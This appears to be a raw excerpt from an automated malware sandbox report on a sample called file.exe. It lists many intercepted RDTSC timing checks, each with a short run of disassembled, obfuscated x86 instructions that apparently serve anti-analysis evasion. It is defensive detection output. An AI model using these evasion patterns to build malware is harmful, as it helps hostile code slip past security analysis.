Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BED7A second address: 10BED80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BED80 second address: 10BED85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BED85 second address: 10BED8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0B15 second address: 10C0B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF0E0BA4D96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0BC1 second address: 10C0BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1CA5 second address: 10C1CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0E0BA4DA2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1CBE second address: 10C1CE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF0E079F168h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D37 second address: 10C0D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D3B second address: 10C0DEE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FF0E079F158h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 call 00007FF0E079F165h 0x00000027 sub dword ptr [ebp+124487C3h], ebx 0x0000002d pop ebx 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov edi, 7B723D23h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007FF0E079F158h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000014h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b mov eax, dword ptr [ebp+122D0475h] 0x00000061 call 00007FF0E079F15Fh 0x00000066 jmp 00007FF0E079F163h 0x0000006b pop ebx 0x0000006c push FFFFFFFFh 0x0000006e jmp 00007FF0E079F15Dh 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2DB7 second address: 10C2DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3F5B second address: 10C3F8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF0E079F166h 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FF0E079F156h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3F8E second address: 10C3F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C50BD second address: 10C50C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7281 second address: 10C7291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7291 second address: 10C7295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7295 second address: 10C72B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jbe 00007FF0E0BA4D9Ch 0x00000010 jc 00007FF0E0BA4D96h 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FF0E0BA4D96h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C72B3 second address: 10C72B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8FB8 second address: 10C8FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE10A second address: 10CE113 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D14BC second address: 10D14C6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0C2D second address: 10D0C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0C31 second address: 10D0C37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0C37 second address: 10D0C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0C42 second address: 10D0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FF0E0BA4D98h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 push edx 0x00000014 jmp 00007FF0E0BA4D9Eh 0x00000019 pop edx 0x0000001a jmp 00007FF0E0BA4D9Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 jbe 00007FF0E0BA4D96h 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0ECA second address: 10D0EF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007FF0E079F162h 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jnp 00007FF0E079F15Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0EF3 second address: 10D0EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0EFA second address: 10D0F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007FF0E079F166h 0x0000000b jmp 00007FF0E079F15Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007FF0E079F156h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6B06 second address: 10D6B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6B0C second address: 10D6B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6C82 second address: 10D6C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6CEA second address: F0EA30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1C726FF1h 0x00000010 jne 00007FF0E079F162h 0x00000016 push dword ptr [ebp+122D1229h] 0x0000001c jc 00007FF0E079F15Dh 0x00000022 pushad 0x00000023 mov dx, si 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 call dword ptr [ebp+122D32DEh] 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D34ACh], ebx 0x00000036 xor eax, eax 0x00000038 clc 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d sub dword ptr [ebp+122D37ECh], ecx 0x00000043 add dword ptr [ebp+122D1CE4h], esi 0x00000049 mov dword ptr [ebp+122D2BC5h], eax 0x0000004f pushad 0x00000050 jmp 00007FF0E079F163h 0x00000055 mov ecx, dword ptr [ebp+122D2B79h] 0x0000005b popad 0x0000005c mov dword ptr [ebp+122D37ECh], edi 0x00000062 mov esi, 0000003Ch 0x00000067 jng 00007FF0E079F15Ch 0x0000006d mov dword ptr [ebp+122D2158h], esi 0x00000073 add esi, dword ptr [esp+24h] 0x00000077 jl 00007FF0E079F161h 0x0000007d pushad 0x0000007e sub dword ptr [ebp+122D27E7h], edx 0x00000084 mov dx, si 0x00000087 popad 0x00000088 lodsw 0x0000008a add dword ptr [ebp+122D1CE4h], ebx 0x00000090 add eax, dword ptr [esp+24h] 0x00000094 xor dword ptr [ebp+122D37ECh], edx 0x0000009a jmp 00007FF0E079F15Bh 0x0000009f mov ebx, dword ptr [esp+24h] 0x000000a3 jnp 00007FF0E079F169h 0x000000a9 push eax 0x000000aa pushad 0x000000ab push eax 0x000000ac push edx 0x000000ad jng 00007FF0E079F156h 0x000000b3 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DA4ED second address: 10DA4FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF0E0BA4D9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD15 second address: 10DAD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD19 second address: 10DAD1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD1F second address: 10DAD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD25 second address: 10DAD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD29 second address: 10DAD2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAE8A second address: 10DAE9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAE9B second address: 10DAEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB00D second address: 10DB011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8391 second address: 10E83A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jnc 00007FF0E079F15Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83A4 second address: 10E83A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7206 second address: 10E720C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E737A second address: 10E7380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7639 second address: 10E763D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E763D second address: 10E7657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF0E0BA4D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF0E0BA4D9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E778C second address: 10E7792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7792 second address: 10E77D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jmp 00007FF0E0BA4DA9h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007FF0E0BA4DA7h 0x0000001e push edi 0x0000001f pop edi 0x00000020 jmp 00007FF0E0BA4D9Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E77D5 second address: 10E77F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF0E079F168h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E77F9 second address: 10E7803 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0E0BA4D96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7AE1 second address: 10E7AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E80CC second address: 10E80D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E80D2 second address: 10E80D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC67D second address: 10EC681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC681 second address: 10EC69B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FF0E079F161h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC69B second address: 10EC6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0E0BA4D96h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FF0E0BA4D96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C35C second address: 106C36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jnl 00007FF0E079F158h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C36B second address: 106C37B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B38AF second address: 10959F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, 25F1F13Ah 0x0000000f lea eax, dword ptr [ebp+1247862Ah] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FF0E079F158h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push eax 0x00000030 push eax 0x00000031 jg 00007FF0E079F164h 0x00000037 pop eax 0x00000038 mov dword ptr [esp], eax 0x0000003b mov cl, 60h 0x0000003d call dword ptr [ebp+122D23CCh] 0x00000043 push ecx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3E7F second address: 10B3E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3E85 second address: 10B3EB3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF0E079F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 5A02DC9Bh 0x00000013 mov dword ptr [ebp+1243D292h], edx 0x00000019 call 00007FF0E079F159h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF0E079F15Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3EB3 second address: 10B3EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF0E0BA4D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3EBD second address: 10B3F1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007FF0E079F164h 0x00000012 push edx 0x00000013 jmp 00007FF0E079F15Ch 0x00000018 pop edx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e jng 00007FF0E079F158h 0x00000024 pushad 0x00000025 popad 0x00000026 push ebx 0x00000027 jp 00007FF0E079F156h 0x0000002d pop ebx 0x0000002e popad 0x0000002f mov eax, dword ptr [eax] 0x00000031 pushad 0x00000032 jmp 00007FF0E079F160h 0x00000037 push edx 0x00000038 push edi 0x00000039 pop edi 0x0000003a pop edx 0x0000003b popad 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 pushad 0x00000041 js 00007FF0E079F15Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB80F second address: 10EB813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB813 second address: 10EB81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB81D second address: 10EB821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3D2A second address: F0EA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FF0E079F166h 0x0000000d nop 0x0000000e mov edi, edx 0x00000010 push dword ptr [ebp+122D1229h] 0x00000016 mov edx, edi 0x00000018 adc edx, 6B951C96h 0x0000001e call dword ptr [ebp+122D32DEh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D34ACh], ebx 0x0000002b xor eax, eax 0x0000002d clc 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 sub dword ptr [ebp+122D37ECh], ecx 0x00000038 add dword ptr [ebp+122D1CE4h], esi 0x0000003e mov dword ptr [ebp+122D2BC5h], eax 0x00000044 pushad 0x00000045 jmp 00007FF0E079F163h 0x0000004a mov ecx, dword ptr [ebp+122D2B79h] 0x00000050 popad 0x00000051 mov dword ptr [ebp+122D37ECh], edi 0x00000057 mov esi, 0000003Ch 0x0000005c jng 00007FF0E079F15Ch 0x00000062 mov dword ptr [ebp+122D2158h], esi 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c jl 00007FF0E079F161h 0x00000072 pushad 0x00000073 sub dword ptr [ebp+122D27E7h], edx 0x00000079 mov dx, si 0x0000007c popad 0x0000007d lodsw 0x0000007f add dword ptr [ebp+122D1CE4h], ebx 0x00000085 add eax, dword ptr [esp+24h] 0x00000089 xor dword ptr [ebp+122D37ECh], edx 0x0000008f jmp 00007FF0E079F15Bh 0x00000094 mov ebx, dword ptr [esp+24h] 0x00000098 jnp 00007FF0E079F169h 0x0000009e push eax 0x0000009f pushad 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 jng 00007FF0E079F156h 0x000000a8 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9A0 second address: 10EB9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9A6 second address: 10EB9B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push esi 0x0000000b jnc 00007FF0E079F156h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9B9 second address: 10EB9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC0BA second address: 10EC0BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0869 second address: 10F087B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007FF0E0BA4D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0B5F second address: 10F0B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF0E079F167h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0B7F second address: 10F0B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0CEE second address: 10F0CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF0E079F15Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0CFE second address: 10F0D08 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0E0BA4DA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0FF9 second address: 10F1008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0E079F15Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1008 second address: 10F100D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F100D second address: 10F107E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jmp 00007FF0E079F165h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jno 00007FF0E079F17Ch 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jbe 00007FF0E079F156h 0x00000020 jmp 00007FF0E079F165h 0x00000025 popad 0x00000026 push ebx 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F12FF second address: 10F1309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0E0BA4D96h 0x0000000a rdtsc
